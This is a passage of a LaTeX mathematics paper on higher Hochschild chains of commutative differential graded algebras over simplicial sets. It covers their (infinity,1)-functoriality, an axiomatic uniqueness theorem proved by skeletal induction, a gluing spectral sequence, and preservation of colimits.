\smallskip If $Z_\com$ is a pointed simplicial set and $M$ is a $B$-module, the induced map $h_\com : CH_{Z_\com}^{\com}(A,M)\to CH_{Z_\com}^{\com}(B,M)$ is a quasi-isomorphism of $ CH_{Z_\com}^{\com}(A)$-modules and if $\alpha: M\to N$ is a map of $B$-modules, the induced map $\alpha_\com: CH_{Z_\com}^{\com}(B,M)\to CH_{Z_\com}^{\com}(B,N)$ is a quasi-isomorphism of $CH_{Z_\com}^{\com}(B)$-modules.
\end{proposition}
\begin{proof} This is essentially due to Pirashvili~\cite{P}. Indeed, let $\Gamma$ be the category of finite sets, then the Hochschild chain complex $CH_{X_\com}^\com (A)$ is isomorphic to the tensor product $$k_{X_\com} \otimes_{\Gamma} \mathcal{L}(A)$$ of the left $\Gamma$-module $\mathcal{L}(A)$ and the simplicial right $\Gamma$-module $k_{X_\com}$. Here the left $\Gamma$-module $\mathcal{L}(A)$ is defined by $n\mapsto A^{\otimes n+1}$ and formula~\eqref{f_*}. The right $\Gamma$-module $k_{X_\com}$ is defined by $n\mapsto \colim_{K_\com \mbox{ finite}} k\big[Hom_{\Gamma}\big([n], K_\com\big)]$ where $[n]$ is the finite set $\{0,\dots,n\}$, see~\cite{P}. A quasi-isomorphism of CDGAs induces a quasi-isomorphism of left $\Gamma$-module and similarly for a quasi-isomorphism of simplicial sets. Since each right $\Gamma$-module $k_{X_m}$ ($m\in \N$) is a projective right $\Gamma$-module (see~\cite{P}), the tensor product $k_{X_\com} \otimes_{\Gamma} \mathcal{L}(A)$ is quasi-isomorphic to the derived tensor product $k_{X_\com} \otimes^{\mathbb{L}}_{\Gamma} \mathcal{L}(A)$. It follows that this complex is invariant along quasi-isomorphisms in both arguments ($X_\com$ and $A$).
The proof in the case of pointed simplicial sets and modules is the same with the category $\Gamma$ replaced by the category of pointed finite sets.
\end{proof}
\subsection{Higher Hochschild as an $(\infty, 1)$-functor}\label{S:inftyfunctor}
In this section we deal with axioms for the theory of higher Hochschild \emph{chains} instead of mere homology. That is, we upgrade the previous section, in particular Corollary~\ref{C:Homologyfunctor}, to the setting of derived categories, or more precisely $(\infty,1)$-categories. Said otherwise, we replace the category of simplicial sets by its homotopical analogue: the $(\infty, 1)$-category of simplicial sets denoted $\hsset$ and we replace the category of commutative differential algebras by $\hcdga$, the $(\infty,1)$-category associated to the derived category of commutative differential graded algebras (obtained by inverting quasi-isomorphisms of CDGAs).
In this settting, we will prove that the axioms determine \emph{uniquely} the Hochschild chain as an $(\infty,1)$-functor (lifting Hochschild homology). These axioms are \emph{not} specific to CDGA but rather come from the fact that any presentable $(\infty,1)$-category is (homotopically) canonically tensored over simplicial sets according to~\cite[Corollary 4.4.4.9]{Lu11}.
\begin{theorem}\label{T:derivedfunctor}
There is a canonical equivalence $CH_{X_\com}(A)\cong X_\com \boxtimes A$ between the Hochschild chains and the tensor of $A$ and $X_\com$, \emph{i.e.} there are natural equivalences (in $\hsset$)
\begin{equation}
\text{Map}_{\hcdga}\big(CH_{X_\com}(A),B\big) \; \cong \;
\text{Map}_{\hsset}\big(X_\com, \text{Map}_{\hcdga}(A,B) \big).
\end{equation}
In particular,
the Hochschild chains lift as a functor of $(\infty,1)$-categories $CH: \hsset \times \hcdga \to \hcdga$ which satisfies the following axioms
\begin{enumerate}
\item {\bf value on a point:} there is a natural equivalence $CH^\com_{pt}(A)\cong A$ of CDGAs.
\item {\bf monoidal:} $CH$ is monoidal with respect to both variables. Precisely, there are natural equivalences
$$CH_{X_\com\coprod Y_\com}^{\com}(A)\cong CH_{X_\com}^{\com}(A) \otimes CH_{Y_\com}^{\com}(A), $$ $$
CH_{X_\com}^\com (A\otimes B)\cong CH_{X_\com}^{\com}(A) \otimes CH_{X_\com}^{\com}(B).$$
\item {\bf homotopy gluing/pushout:} $CH$ sends homotopy pushout in $\hsset$ to homotopy pushout in $\hcdga$. More precisely, given maps $Z_\com\stackrel{f}\to X_\com$ and $Z_\com\stackrel{g} \to Y_\com$ in $\hsset$, and $W_\com \cong X_\com \bigcup^{h}_{Z_\com} Y_\com$ a homotopy pushout, there is a natural equivalence
$$CH^{\com}_{W_\com}(A)\cong CH^{\com}_{X_\com}(A)\otimes_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A).$$
\end{enumerate}
\end{theorem}
In particular Theorem~\ref{T:derivedfunctor} implies similar statements involving the homotopy categories of simplicial sets and CDGAs instead of their $(\infty,1)$-refinement.
Axiom~{\bf (3)} is the \emph{locality} axiom (as for Topological Field Theories) playing the role of the excision/Mayer-Vietoris axiom for classical homology.
\begin{proof} The second equivalence in the monoidal axiom follows from Proposition~\ref{P:tensor}. The rest is an immediate consequence of~\cite[Corollary 4.4.4.9]{Lu11}, \S~\ref{S:NaiveHH} and the fact that the coproduct in $\hcdga$ is given by the tensor product of CDGAs. Note that the axioms can also be proved easily and directly using the results of Section~\ref{S:NaiveHH}, as we now demonstrate for the interested reader's convenience (this incidentally yields immediately another proof of the identification of derived Hochschild chains with a tensor).
{We already know that the Hochschild chain complex defines a bifunctor $(X_\com,A)\mapsto CH_{X_\com}^{\com}(A)$ from the category $\sset \times \cdga$ to $\cdga$, see Proposition~\ref{P:shuffleinvariance}. The $(\infty,1)$-categories $\hsset$ and $\hcdga$ both arise from suitables localizations of the weak equivalences (see Section~\ref{S:DKL}). That is $\hsset=L_{\CSS}(N_\bullet(L^H(\sset,\mathcal{W}_{\sset})))$ and $\hcdga=L_{\CSS}(N_\bullet(L^H(\cdga,\mathcal{W}_{\cdga})))$ where $W_{\sset}$ and $W_{\cdga}$ are the respective subcategories of weak equivalences in $\sset$ and $\cdga$ given in Sections~\ref{S:Delta} and~\ref{S:CDGA}. Thus, in order to show that the functor $(X_\com,A)\mapsto CH_{X_\com}^{\com}(A)$ lifts to the $(\infty,1)$-associated categories, it suffices to show that this bifunctor passes to the (hammock) localization of these model categories along their subcategory of weak equivalences $W_{\sset}$ and $W_{\cdga}$. By construction of the hammock localization functor $L^H$, it suffices to prove that the usual Hochschild chain complex bifunctor maps weak equivalences (in $\sset\times \cdga$) to weak equivalences (in $\cdga$) which follows from Proposition~\ref{P:homologyinvariance}. More precisely, the bifunctor $CH: \hsset\times \hcdga \to \hcdga$ is the bifunctor induced by the bifunctor \begin{multline*}
L_{\CSS}\big(N_\bullet\big((CH_{-}^{\com}(-))\big)\big):L_{\CSS}(N_\bullet(L^H(\sset \times \cdga, W_{\sset}\times W_{\cdga})))\\ \longrightarrow \quad L_{\CSS}(N_\bullet(L^H(\cdga, W_{\cdga}))) \end{multline*}
obtained by localizing the Hochschild chains.
\smallskip
When $X_\com$ is contractible, Proposition~\ref{P:homologyinvariance} implies that there is an natural equivalence $CH_{X_\com}^{\com}(A)\cong CH_{pt_\com}^{\com}(A)\cong A$ of CDGAs where $pt_\com$ is the standard simplicial model of a point, see~\cite[Example 2.3.4]{GTZ}. This proves the value on a point axiom.
\smallskip
The compatibility with the monoidal structures follows from Proposition~\ref{P:tensor} since both monoidal functors $\coprod: \sset \times \sset \to \sset$ and $\otimes_k: \cdga\times \cdga \to \cdga$ are Quillen exact, thus passes to the $(\infty,1)$-category induced by the model categories structures.
\smallskip
It remains to prove the homotopy gluing axiom. We let $f_\com: Z_\com\to X_\com$ and $g_\com: Z_\com\to Y_\com$ be simplicial sets maps. Since we already know that the Hochschild chain complex preserves weak equivalences, we can replace $W_\com$ by the pushout $X_\com \bigcup_{Z_\com} \widehat{Y}_\com$ where $\hat{g}_\com: Z_\com\to \widehat{Y}_\com$ is a cofibration and $p:\widehat{Y}\stackrel{\simeq}\to Y$ is a fibrant replacement of $Y$.
\smallskip
By Proposition~\ref{P:pushout}, there is a natural isomorphism
\begin{equation}\label{eq:homotopypushout}CH_{X_\com \bigcup_{Z_\com} \widehat{Y}_\com}^\com (A)\cong CH^{\com}_{X_\com}(A)\otimes_{CH^{\com}_{Z_\com}(A)} CH^{\com}_{\widehat{Y}_\com}(A).\end{equation}
Since $Z_\com \stackrel{\hat{g}_\com}\hookrightarrow \widehat{Y}_\com$ is injective, the induced map $\hat{g}_*: CH^{\com}_{Z_\com}(A) \to CH^{\com}_{\widehat{Y}_\com}(A)$ of CDGAs exhibits $CH^{\com}_{\widehat{Y}_\com}(A)$ as a semi-free $CH^{\com}_{Z_\com}(A)$ algebra, thus the tensor product in the quasi-isomorphism~\eqref{eq:homotopypushout} can be replaced by a derived tensor product:
\begin{equation}\label{eq:homotopypushout2}CH_{X_\com \bigcup_{Z_\com} \widehat{Y}_\com}^\com (A)\cong CH^{\com}_{X_\com}(A)\otimes_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{\widehat{Y}_\com}(A).\end{equation}
By homotopy invariance, the map $p_*:CH^{\com}_{\widehat{Y}_\com}(A)\cong CH^{\com}_{Y_\com}(A)$ is a quasi-isomorphism and thus the homotopy pushout axiom follows from the quasi-isomorphism~\eqref{eq:homotopypushout2}.}
\end{proof}
\begin{remark}\label{R:derivedfunctorTop}
As in Corollary~\ref{C:Homologyfunctor}, the (model) categories of simplicial sets and (compactly generated) topological spaces being Quillen equivalent, one can replace $\hsset$ by its topological counterpart $\hTop$ in Theorem~\ref{T:derivedfunctor}. This yield the Hochschild chain functor over spaces $CH: \hTop \times \hcdga \to \hcdga$, see \S~\ref{S:factor-alg}. By definition Hochschild chain are functorial in spaces; for instance any continuous map $f: X\to Y$ between topological spaces induces a chain map $f_\com:CH_X^\com(A) \to CH_Y^\com(A)$ which is an equivalence if $f$ is a weak-equivalence. We will get back to and focus on this Hochschild functor over topological spaces in Section~\ref{S:factor-alg}
\end{remark}
The locality axiom~{\bf (3)} in Theorem~\ref{T:derivedfunctor} yields an Eilenberg-Moore type spectral sequence for computing higher Hochschild homology.
\begin{corollary} \label{C:HlocalitySpecSeq} Given an homotopy pushout $W_\com \cong X_\com \cup_{Z_\com}^h Y_\com$,
there is a natural strongly convergent spectral sequence of cohomological type of the form
$$E_2^{p,q}:= {Tor}_{p,q}^{HH_{Z_\com}^{\com}(A)}\left(HH_{X_\com}^{\com}(A),HH_{Y_\com}^{\com}(A)\right) \Longrightarrow HH_{W_\com}^{p+q}(A) $$
where $q$ is the \emph{internal} grading. The spectral sequence is furthermore a spectral sequence of differential $HH_{Z_\com}^{\com}(A)$-algebras.
\end{corollary}
Recall that we are considering a cohomological grading; in particular the spectral sequence is concentrated in the left half-plane with respect to this grading (and $p$ is negative).
\begin{proof}
By Theorem~\ref{T:derivedfunctor}, we have $CH^{\com}_{W_\com}(A)\cong CH^{\com}_{X_\com}(A)\mathop{\otimes}_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A)$ as CDGAs. Now the spectral sequence follows from standard results on derived tensor products (of $CH^{\com}_{Z_\com}(A)$-modules)~\cite[Theorem 4.7]{KM}. That the spectral sequence is one of algebras comes from the fact, that we can choose a semi-free resolution of $CH^{\com}_{X_\com}$ by a $CH^{\com}_{Z_\com}$-algebra.
\end{proof}
\begin{example}
\begin{enumerate}
\item
It is a well-known fact, that the usual Hochschild complex of an associative algebra $A$ $CH_{\com}(A)=CH^{\com}_{S^1_\bullet} (A)$ may be written as a $Tor$ over the bimodule $A^e=A\otimes A^{op}$, see \emph{e.g.} \cite[Proposition 1.1.13]{L}. More explicitly,
$$ HH_\bullet(A)=Tor^{A^e}_{\com}(A,A). $$
Identifying $HH^{pt_\com}_\bullet(A)=A$, and $HH_{\{pt_\com,pt_\com^-\}}^\bullet(A)=A\otimes A^{op}=A^e$, where $pt_\com^-$ denotes the point with opposite orientation, we see that, in this case, the spectral sequence of Corollary \ref{C:HlocalitySpecSeq} collapses at the $E_2$ level,
$$ {Tor}^{HH^{\{pt_\com,pt_\com^-\}_\com}_{\com}(A)}\left(HH_{pt_\com}^{\com}(A),HH_{pt_\com}^{\com}(A)\right) = HH_{S^1_\com}^{\com}(A) $$
where we used that $S^1_\com \cong pt_\com \cup_{\{pt,pt^-\}_\com}^h pt_\com$ and further that when $A$ is commutative, $A^{op}=A$.
\item
Let $f_\bullet:Z_\bullet\to X_\bullet$ be a map of simplicial spaces. Then, the mapping cone $(C_f)_\bullet$ is given as the homotopy pushout $(C_f)_\bullet\cong X_\bullet \cup_{Z_\bullet}^h pt_\bullet$. We obtain a spectral sequence computing $HH^\com_{(C_f)_\com}(A)$,
$$ {Tor}_{p,q}^{HH_{Z_\com}^{\com}(A)}\left(HH_{X_\com}^{\com}(A),A \right) \Longrightarrow HH_{(C_f)_\com}^{\com}(A) $$
\item
In a more straightforward way, we may use the gluing property to give explicit models for spaces with cubic subdivisions. Our starting point is given by models for interval $I_\com$ and the square $I^2_\com$ via,
$$ CH^\com_{I_\com}(A)=\sum_k A^{\otimes (k+2)}\quad\text{ and }\quad CH^\com_{I^2_\com}(A)=\sum_k A^{\otimes (k+2)^2}. $$
The $i^{\text{th}}$ differential is given in the case of $I_\com$ by multiplying the $i^{\text{th}}$ and $(i+1)^{\text{th}}$ tensor factors, and in the case of $I^2_\com$ by multiplying the $i^{\text{th}}$ and $(i+1)^{\text{th}}$ column of tensor factors and the $i^{\text{th}}$ and $(i+1)^{\text{th}}$ rows of tensor factors simultaneously. For more detail, see \cite[Example 2.3.4]{GTZ}. Then we obtain the Hochschild complex for the cylinder $C_\com=I^2_\com\cup_{(I_\com\cup I_\com)} I_\com$ by gluing $I^2_\com$ and $I_\com$ along $I_\com\cup I_\com$ on opposite edges of $I^2_\com$, and with this the torus $T_\com=C_\com\cup_{(I_\com\cup I_\com)} I_\com$ by gluing the remaining sides together. A more elaborate version of this is given in \cite[Example 2.3.2]{GTZ}. By using similar, but more elaborate considerations, one can in fact obtain Hochschild models over any surface, see \cite[Section 3.1]{GTZ}.
\end{enumerate}
\end{example}
Higher Hochschild chain complexes behaves much like cochains of mapping spaces (see~\cite[sections 2.2, 2.4]{GTZ}). Indeed they satisfy a kind of exponential law:
\begin{proposition}[Finite Products of simplicial sets] \label{P:product} Let $X_\com$, $Y_\com$ be simplicial sets. Then there is a natural equivalence
$$CH_{X_\com\times Y_\com}^{\com}(A) \stackrel{\sim}\to CH_{X_\com}^\com\left( CH_{Y_\com}^{\com}(A)\right)$$ in $\hcdga$.
\end{proposition}
\begin{proof} It follows from Corollary 2.4.4 of \cite{GTZ}.
\end{proof}
The Hochschild chain functor $CH:\hsset\times \hcdga \to \hcdga$ is essentialy (up to equivalences) determined by the homotopy pushout axiom, coproduct and its value on a point. In other words, it is the \emph{unique} $(\infty,1)$-functor (up to natural equivalences) satisfying the three axioms (value on a point, coproduct and locality) listed below in Theorem~\ref{T:deriveduniqueness}. This is once again a consequence of the fact that higher Hochschild is a tensor. The precise uniqueness statement is :
\begin{theorem}[Derived Uniqueness]\label{T:deriveduniqueness}
Let $(X_\com, A)\mapsto F_{X_\com}(A)$ be a bifunctor $\hsset\times \hcdga \to \hcdga$ which satisfies the following three axioms.
\begin{enumerate}
\item {\bf value on a point:} \label{A:point} There is a natural equivalence of CDGAs $F_{pt_\com}(A)\cong A$.
\item {\bf coproduct:} \label{A:coproduct}There are natural equivalences $$F_{\coprod\limits_{I} (X_i)_\com}(A)\cong \colim_{\small \begin{array}{l}K\subset I \\ K \mbox{ finite}\end{array}} \bigotimes_{k\in K} F_{(X_k)_\com}(A) $$
\item {\bf homotopy gluing/pushout:} \label{A:pushout} $F$ sends homotopy pushout in $\hsset$ to homotopy pushout in $\hcdga$. More precisely, given two maps $Z_\com\stackrel{f}\to X_\com$ and $Z_\com\stackrel{g}\to Y_\com$ in $\hsset$, and $W_\com \cong X_\com \bigcup^{h}_{Z_\com} Y_\com$ a homotopy pushout, one has a natural equivalence
$$F_{W_\com}(A)\cong F_{X_\com}(A)\otimes_{F_{Z_\com}(A)}^{\mathbb{L}} F_{Y_\com}(A).$$
\end{enumerate}
Then $F$ is naturally equivalent to the higher Hochschild chains bifunctor $CH$ as a bifunctor \emph{i.e.} as an object in $Hom_{(\infty,1)-cat}(\hsset\times \hcdga, \hcdga)$.
\end{theorem}
\begin{proof} This is a consequence of the fact that $\hcdga$ (and actually any presentable $(\infty,1)$-category) is uniquely tensored over $\hsset$, see~\cite[Corollay 4.4.4.9]{Lu11}.
Alternatively it can be prove by noticing that any simplicial set $X_\com$ is a (homotopy) colimit of its skeletal filtration
$sk_n X_\com $, which in turns is obtained by taking a homotopy pushout of $sk_{n-1} X_\com$ with coproducts of standard model $\Delta^n_\com$ of the simplices which are contractible. Then the axioms imply an equivalence $F_{sk_n X_\com}(A) \stackrel{\simeq}\to CH^{\com}_{sk_n X_\com}(A)$ which commutes with the inclusions $sk_{n-1}X_\com \hookrightarrow sk_n X_\com$ so that it induces an natural equivalence $F_{X_\com}(A) \cong CH_{X_\com}(A)$ since the latter satisfies teh axioms by Theorem~\ref{T:derivedfunctor}.
For the interested reader, we now make this sketch more precise.
{Let $(X_\com,A)\mapsto F_{X_\com}(A)$ be a functor satisfying the assumption of Theorem~\ref{T:deriveduniqueness}.
If $X_\com$ is a finite discrete simplicial set, there are natural equivalences in $\hcdga$ $$F_{X_\com}(A)\cong F_{X_0}(A)\cong F_{\coprod_{x\in X_0} \{x\}}(A)\cong A^{\otimes X_0}\cong CH^\com_{X_\com}(A)$$ since both bifunctors $F$ and $CH$ are homotopy invariant, commute with finite coproducts and satisfies Axiom~\eqref{A:point}. If $X_\com$ is discrete, non-necessarily finite, then Axiom~\eqref{A:coproduct} implies that $F_{X_\com}(A)\cong \colim_{K \mbox{ finite}} F_{K}(A)\cong \colim_{K \mbox{ finite}} A^{\otimes K} \cong CH_{X_\com}^{\com}(A)$ by definition of Hochschild chain of simplicial sets (Definition~\ref{D:Hoch}).
Let $sk_n X_\com$ be the $n^{\mbox{th}}$-skeleton of a simplicial set $X_\com$ (see~\cite{GoJa} for instance), \emph{i.e.}, the sub-simpicial set generated by all non-degenerate simplices of dimension less than or equal to $n$. Note that $X_\com$ is the filtered colimit $X_\com = \bigcup_{n\geq 0} sk_n X_\com$.
Since $sk_0 X_\com$ is a discrete simplicial set, we have an natural (in $A$ and $X_\com$) equivalence of algebras $F_{sk_0 X_\com}(A) \stackrel{\simeq}\to CH^{\com}_{sk_0 X_\com}(A)$.
Now assume $n\geq 1$ and that we have a natural equivalence (induced by a natural zigzag of quasi-isomorphisms) of CDGAs $F_{sk_{n-1} X_\com}(A) \stackrel{\simeq}\to CH^{\com}_{sk_{n-1} X_\com}(A)$ (for any simplicial set $X_\bullet$).
Let $NX_n$ be the subset of non-degenerate simplices in $X_n$, $\Delta^n_\com$ be the standard simplicial model $\Delta^n_{k}=Hom_{\Delta}([k], [n])$ of the \emph{topological} $n$-simplex and $ \partial \Delta^n_\com$ its boundary (that is the sub-complex obtained by dropping the only non-degenerate simplex of dimension $n$). Note that $\Delta^n_\com$ is contractible and $\partial \Delta^n_\com$ is a simplicial model for the sphere $S^{n-1}$.
For $n\geq 1$, one has a pushout diagrams
\begin{equation} \label{eq:pushoutskn} \xymatrix{ \coprod_{x\in NX_n} \partial \Delta^n_\com \ar[r]^{j_n} \ar@{^{(}->}[d]_{i_n} & sk_{n-1}X_\com\ar@{^{(}->}[d] \\ \coprod_{x\in NX_n} \Delta^n_\com \ar[r] & sk_n X_\com}\end{equation}
which are homotopy pushouts since the vertical arrows are cofibrations of simplicial sets. Thus Axiom~\eqref{A:pushout} and Theorem~\ref{T:derivedfunctor} yield natural equivalences
$$F_{sk_n X_\com}(A)\cong F_{sk_{n-1}X_\com}(A) \otimes_{F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)}^{\mathbb{L}} F_{\coprod_{x\in NX_n} \Delta^n_\com}(A)$$
of $F_{\coprod_{x\in NX_n} \Delta^n_\com}(A)$-algebras as well as a natural equivalence $$CH_{sk_n X_\com}^{\com}(A) \cong CH^{\com}_{sk_{n-1}X_\com}(A) \otimes_{CH^{\com}_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)}^{\mathbb{L}} CH^{\com}_{\coprod_{x\in NX_n} \Delta^n_\com}(A) $$
of $CH^{\com}_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$-algebras.
Here the modules structures are the natural ones induced by the maps in the pushout diagram~\eqref{eq:pushoutskn}.
We now deduce that $F_{sk_n X_\com}(A)$ is equivalent to $CH_{sk_nX_\com}^{\com}(A)$.
Recall from Example~\ref{E:Amod}, that an equivalence $A\stackrel{\sim}\to B$ of CDGAs induces an equivalence of their $(\infty,1)$-categories of modules $B\textit{-}Mod_\infty \stackrel{\sim}\to A\textit{-}Mod_{\infty}$. Note that $\partial \Delta^n_\com$ has no non-degenerate simplices in dimension $n$ and higher. Thus $\partial \Delta^n_\com=sk_{n-1} \partial \Delta^n_\com$ and, by our induction assumption, we have a natural equivalence of CDGAs between $F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$ and $CH^{\com}_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$ as well as between $F_{sk_{n-1}X_\com}(A)$ and $CH^\com_{sk_{n-1}X_\com}(A)$. Further, as the modules structures are induced by the simplicial set map $\coprod_{x\in NX_n} \partial \Delta^n_\com \to sk_{n-1}X_\com$, it follows that the diagram
$$\xymatrix{ F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)\otimes F_{sk_{n-1}X_\com}(A) \ar[r]^{\simeq} \ar[d]_{\mu\circ(j_n\otimes 1)} & CH_{\coprod_{x\in NX_n} \partial \Delta^n_\com}^{\com}(A)\otimes CH_{sk_{n-1}X_\com}^{\com}(A)\ar[d]^{\mu\circ(j_n\otimes 1)} \\ F_{sk_{n-1}X_\com}(A) \ar[r]^{\simeq} & CH_{sk_{n-1} X_\com}^{\com}(A)}$$ is commutative (here $\mu$ is the multiplication and $j_n$ the top map in diagram~\eqref{eq:pushoutskn}). Hence $CH_{sk_{n-1} X_\com}^{\com}(A)$ is equivalent to $F_{sk_{n-1}X_\com}(A)$ as an $F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$-CDGA.
We are left to prove that $F_{\coprod_{x\in NX_n} \Delta^n_\com}(A)$ and $CH^\com_{\coprod_{x\in NX_n} \Delta^n_\com}(A)$ are equivalent $F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$-CDGAs. By the homotopy invariance and value on a point axiom, we have a natural equivalence $F_{\coprod_{x\in NX_n} \Delta^n_\com}(A)\stackrel{\simeq}\to A^{\otimes \# NX_n}$ (induced by the unique map $\Delta^n_\com\to pt_\com$ for each non-degenerate simplex in $NX_n$) and further the $F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$-algebra structure on $A^{\otimes \# NX_n}$ is induced by the canonical map $\coprod_{x\in NX_n} \partial \Delta^n_\com \longrightarrow \coprod_{x\in NX_n} pt_\com$. The same argument holds for Hochschild chains $CH$ instead of $F$ so that we have a commutative diagram
$$\xymatrix{ F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A) \ar[rr]^{\simeq} \ar[d]_{i_n}& & CH_{\coprod_{x\in NX_n} \partial \Delta^n_\com}^{\com}(A) \ar[d]^{i_n}\\
F_{\coprod_{x\in NX_n} \Delta^n_\com}(A) \ar[r]^{\simeq} & A^{\otimes \# NX_n} & \ar[l]_{\simeq} CH^\com_{\coprod_{x\in NX_n} \Delta^n_\com}(A)
}$$ from which it follows that both $CH_{\coprod_{x\in NX_n} \Delta^n_\com}^{\com}(A)$ and $F_{\coprod_{x\in NX_n} \Delta^n_\com}(A)$ are equivalent to $ A^{\otimes \# NX_n}$ as $F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)$-CDGAs.
Tensoring the previous equivalence
with $ A^{\otimes \# NX_n}$ (over ${F_{\coprod_{x\in NX_n} \partial \Delta^n_\com}(A)}$) we obtain a natural equivalence
$F_{sk_{n}X_\com}(A) \cong CH^{\com}_{sk_{n}X_\com}(A)$ in $\hcdga$.
By induction, we get (for all $n$'s) natural equivalences $F_{sk_n X_\com}(A) \stackrel{\simeq}\to CH^{\com}_{sk_n X_\com}(A)$ which commutes with the inclusions $sk_{n-1}X_\com \hookrightarrow sk_n X_\com$. Since $X_\com=\bigcup_{n\geq 0} sk_n X_\com$, there is a coequalizer in the $(\infty,1)$-category $\hsset$:
$$\xymatrix{\coprod_{n\in \N} sk_n X_\com \ar[d]^{\delta} \ar[r]^{\rm id} & \coprod_{n\in \N} sk_n X_\com \ar[d] \\ \coprod_{n\in \N} sk_{n} X_\com\ar[r] & X_\com }$$ where $\delta:\coprod_{n\in \N} sk_n X_\com\to \coprod_{n\in \N} sk_{n} X_\com $ is the map induced by the canonical inclusions $sk_n X_\com \to sk_{n+1} X_\com$. Thus by axiom~{\bf (3)}, there is a natural equivalence \begin{equation} \label{eq:uniquenesspushout} F_{X_\com}(A) \cong F_{\coprod_{n\in \N} sk_n X_\com}(A) \mathop{\otimes}\limits_{F_{\coprod_{n\in \N} sk_{n} X_\com}(A)}^{\mathbb{L}} F_{\coprod_{n\in \N} sk_n X_\com}(A) \end{equation} and similarly for Hochschild chains by Theorem~\ref{T:derivedfunctor}. By axiom~{\bf (2)} applied to the bifunctors $F$ and $CH$, the natural equivalences $F_{sk_n X_\com}(A) \stackrel{\simeq}\to CH^{\com}_{sk_n X_\com}(A)$ for all $n$ thus yield a natural equivalence $F_{\coprod_{n\in \N} sk_n X_\com}(A) \cong CH^\com_{\coprod_{n\in \N} sk_n X_\com}(A) $. The natural equivalence of CDGAs $F_{X_\com}(A) \cong CH^{\com}_{X_\com}(A)$ now follows from equivalence~\eqref{eq:uniquenesspushout} and the analogous equivalence for Hochschild chains.}
\end{proof}
\begin{remark}\label{R:cdga-}
If $A$ is concentrated in non-positive degrees, then $CH_{X_\com}^{\com}(A)$ is also concentrated in non-positive degrees. This happens for instance if $A$ is the CDGA associated to a simplicial (non-graded) commutative algebra. In that case, it is possible to replace $\cdga$ and $\hcdga$ in Theorem~\ref{T:derivedfunctor} and Theorem~\ref{T:deriveduniqueness} by $\cdga^{\leq 0}$ the category of CDGAs concentrated in non-positive degrees and $\hcdga^{ \leq 0}$ its associated $(\infty,1)$-categories (the proofs being unchanged).
\end{remark}
\begin{remark}Again, one can replace $\hsset$ by its topological counterpart $\hTop$ in Theorem~\ref{T:deriveduniqueness}, see Proposition~\ref{P:Topderived}.
\end{remark}
\begin{remark} \label{R:limskn} Note that one can deduce from the coproduct axiom~{\bf (2)} in Theorem~\ref{T:deriveduniqueness} and the natural equivalence~\eqref{eq:uniquenesspushout} that the natural map $\colim F_{sk_n X_\com}(A) \stackrel{\simeq}\to F_{X_\com}(A)$ is an equivalence. This is in particular true for Hochschild chains:
\begin{equation}\label{eq:limskn} \colim_{n\geq 0} CH_{sk_n X_\com}(A) \stackrel{\simeq}\to CH_{X_\com}(A).\end{equation}
\end{remark}
\begin{remark} \label{R:deriveduniquenessfunctor} If $G:\hcdga \to \hcdga$ is a functor, one can replace the value on a point axiom by the existence of a natural quasi-isomorphism $F_{pt}(A)\cong G(A)$. The proof of the Theorem~\ref{T:deriveduniqueness} shows the following
\begin{corollary}\label{C:deriveduniquenessfunctor}
Let $G:\hcdga \to \hcdga$ be a functor and $(X_\com, A)\mapsto F_{X_\com}(A)$ be a bifunctor $\hsset\times \hcdga \to \hcdga$ which satisfies the axioms~{\bf (2)} and~{\bf (3)} in Theorem~\ref{T:deriveduniqueness} and with axiom~{\bf (1)} replaced by $F_{pt_\com}(A)\cong G(A)$. Then $F_{X_\com}(A)$ is naturally equivalent $CH_{X_\com}^{\com}(G(A))$.
\end{corollary}
For instance, consider the bifunctor given by $(X_\com, A)\mapsto CH_{X_\com}^{\com}(A)\otimes CH_{X_\com}^{\com}(B)$ whose value on a point is the functor $A\mapsto A\otimes B$. By Corollary~\ref{C:deriveduniquenessfunctor}, this functor is isomorphic to $(X,A)\mapsto CH_{X_\com}^\com (A\otimes B)$ which gives another proof of the fact that the Hochschild chains preserve finite coproduct of CDGAs. The same argument shows that $CH$ also commutes with finite homotopy pushouts of CDGAs, see Corollary~\ref{C:hocolim} below.
\end{remark}
\begin{corollary}\label{C:hocolim}
The Hochschild chain bifunctor $CH:\hsset\times \hcdga \to \hcdga$ commutes with finite colimits in $\hsset$ and all colimits in $\hcdga$, that is there are natural equivalences
\begin{eqnarray*}
CH_{\colim_{\mathcal{F}} {X_i}_\com}^{\com}(A) & \cong & \colim_{\mathcal{F}} CH_{{X_i}_\com}^{\com}(A) \quad (\text{for a finite category } \mathcal{F}),\\
CH^\com_{X_\com}(\colim {A_i}) & \cong & \colim CH^\com_{X_\com}(A_i).
\end{eqnarray*}
\end{corollary}
Here the colimits are colimits in $\hsset$ or $\hcdga$.
\begin{proof}
Any finite colimits can be obtained by a composition of coproducts and pushouts (or coequalizers). Thus the result for colimits in $\hsset$ follows from Theorem~\ref{T:derivedfunctor}, Axioms~{\bf (2)} and~{\bf (3)}.
Let $\colim_{i\in \mathcal{I}} {A_i}$ be a non-empty colimit of CDGAs and let $i_0$ be an object in the indexing category $\mathcal{I}$. By functoriality we can define a functor $G_{\mathcal{I}}:\hcdga \to \hcdga$ by the formula $A\mapsto G_{\mathcal{I}}(B) :=\colim \tilde{B}_i$ where $\tilde{B}_i\cong A_i$ if $i\neq i_0$ and $\tilde{B}_{i_0}\cong B$. In other words we fix all the variables but the one indexed by $i_0$.
Now applying Corollary~\ref{C:deriveduniquenessfunctor} to the bifunctor $F: \hsset \times \hcdga \to \hcdga$ defined by
$F_{X_\com}(B)\cong \colim CH_{X_\com}^{\com}(\tilde{B}_i)$ we get an natural equivalence $$CH_{X_\com}^{\com}(\colim_{i\in \mathcal{I}} A_i) \cong \colim_{i\in \mathcal{I}} CH^\com_{X_\com}(A_i).$$
